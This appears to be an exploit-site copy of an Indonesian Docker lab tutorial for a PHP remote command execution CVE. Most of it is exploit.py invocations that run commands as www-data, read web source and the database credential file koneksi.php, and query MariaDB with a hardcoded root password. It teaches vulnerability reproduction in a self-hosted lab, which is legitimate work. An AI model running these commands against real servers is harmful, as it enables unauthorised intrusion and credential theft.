Skip to content
Exploit for Improperly Controlled Sequential Memory Allocation in Php

Exploit for Improperly Controlled Sequential Memory Allocation in Php

Sploitus • October 24, 2026

> Gunakan hanya pada sistem yang Anda miliki atau yang Anda punya izin untuk uji.

git clone

cd CVE-2026-109618-109619-Docker-Lab-Tutorial

CVE-2026-109618-109619-Docker-Lab-Tutorial/

docker ps --format "table {{.Names}} {{.Status}} {{.Ports}}"

Jika port berbeda, gunakan port yang ditampilkan oleh Docker.

[gadget] uid=33(www-data) gid=33(www-data) groups=33(www-data)

Ini membuktikan command dieksekusi dari konteks aplikasi web.

python exploit.py 127.0.0.1 8091 "whoami"

python exploit.py 127.0.0.1 8091 "ls -la /var/www/html"

Buat marker benign pada file konfigurasi lab:

docker exec cve618-app sh -c "printf '\n// LAB_MARKER_CVE_FILE_ACCESS\n' >> /var/www/html/koneksi.php"

docker exec cve618-app sh -c "grep -n LAB_MARKER_CVE_FILE_ACCESS /var/www/html/koneksi.php"

python exploit.py 127.0.0.1 8091 "grep -n LAB_MARKER_CVE_FILE_ACCESS /var/www/html/koneksi.php"

[gadget] 15:// LAB_MARKER_CVE_FILE_ACCESS

Karena ini Docker lab sendiri, source PHP dapat digunakan untuk memahami dampak file-read:

python exploit.py 127.0.0.1 8091 "cat /var/www/html/index.php"

python exploit.py 127.0.0.1 8091 "cat /var/www/html/koneksi.php"

**Jangan masukkan credential nyata ke repository publik.**

python exploit.py 127.0.0.1 8091 "find /var/www/html -type f -name '*.php' -print"

python exploit.py 127.0.0.1 8091 "cat /var/www/html/index.php"

python exploit.py 127.0.0.1 8091 "getent hosts db"

Cek port MariaDB dari container aplikasi:

docker exec cve618-app php -r "echo @fsockopen('db',3306) ? 'DB_PORT_OPEN' : 'DB_PORT_CLOSED';"

Jalankan query identitas dari container database:

docker exec cve618-db mariadb -uroot -pinipassword1234 -e "SELECT USER(), DATABASE(), VERSION();"

root@localhost NULL 11.8.9-MariaDB-ubu2404

docker exec cve618-db mariadb -uroot -pinipassword1234 -e "SHOW DATABASES;"

docker exec cve618-db mariadb -uroot -pinipassword1234 -e "USE demo_db; SHOW TABLES;"

docker exec cve618-db mariadb -uroot -pinipassword1234 -e "USE demo_db; DESCRIBE users;"

docker exec cve618-db mariadb -uroot -pinipassword1234 -e "USE demo_db; SELECT COUNT(id) AS jumlah_users FROM users;"

- [x] Command berjalan sebagai `www-data`

Tutorial ini ditujukan untuk pembelajaran keamanan aplikasi dan reproduksi vulnerability pada lingkungan Docker yang dikendalikan sendiri.

Jangan menguji CVE terhadap sistem pihak lain tanpa izin eksplisit.

Extracted Entities

Attack Types (1)

Platforms (2)